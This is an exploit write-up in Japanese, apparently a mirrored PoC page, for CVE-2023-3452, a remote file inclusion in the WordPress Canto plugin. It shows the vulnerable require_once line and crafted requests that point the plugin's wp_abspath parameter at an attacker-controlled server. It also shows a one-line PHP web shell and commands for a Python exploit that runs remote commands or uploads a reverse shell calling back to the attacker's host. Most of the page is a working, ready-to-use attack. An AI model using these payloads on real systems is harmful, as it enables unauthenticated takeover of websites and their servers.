## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LEOANGGAL1-CVE-2023-3452-POC
# CVE-2023-3452-PoC - WordpressプラグインCanto < 3.0.5 - リモートファイルインクルージョン (RFI) - リモートコード実行 (RCE) - 未認証
ここでは、Canto Wordpressプラグインの最新のRFI(リモートファイルインクルージョン)脆弱性のPoCを説明し、コマンド実行を自動化するエクスプロイトを開発しました。
「WordPress用Cantoプラグインは、3.0.4までのバージョン(3.0.4を含む)において、'wp_abspath'パラメータを介したリモートファイルインクルージョンに対して脆弱です。これにより、allow_url_includeが有効になっている場合、未認証の攻撃者がサーバー上で任意のリモートコードをインクルードして実行できる可能性があります。ローカルファイルインクルージョンも可能ですが、攻撃者がFTPやその他の手段で悪意のあるPHPファイルをWebサーバーが読み取り可能なディレクトリにアップロードできる必要があるため、それほど有用ではありません。」(https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
このエクスプロイトは、次のコード行 `includes/lib/download.php` に見られるように、wp_abspathパラメータのバグを悪用します:
root@kitploit:~
...
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');
...
この脆弱性を悪用するには、PHP設定で allow_url_include=On パラメータが有効になっていることも必要です。
このパラメータを、PHPコードが解釈される自前のWebサーバーに向けてリクエストを送信することが可能です。例えば、次のリクエストを送信すると、自前のサーバーでリクエストを受信したことを確認できます:
root@kitploit:~
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080

サーバーが `/wp-admin/admin.php` ファイルを呼び出すことがわかります。そこで、ディレクトリを作成して admin.php ファイルに悪意のあるPHPコードを追加すれば、脆弱なサーバーがそのコードをダウンロードして正しく実行します。 例えば、admin.php ファイルにPHP Webシェル `<?php system($_GET['cmd']); ?>` を記述すると、リモートでコードを実行できます。
root@kitploit:~
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080&cmd=whoami

これらすべてはPythonエクスプロイト `CVE-2023-3452.py` で自動化されています。
## エクスプロイトの使用方法
* リモートコマンドの実行:
root@kitploit:~
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

* Pentesmonkey リバースシェル のアップロード:
root@kitploit:~
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -NC_PORT 3333 -s php-reverse-shell.php

## 参考情報
* https://nvd.nist.gov/vuln/detail/CVE-2023-3452
* https://wordpress.com/es/plugins/canto
## 連絡先
* メール: some-email@example.com
* LinkedIn: Leopoldo Angulo Gallego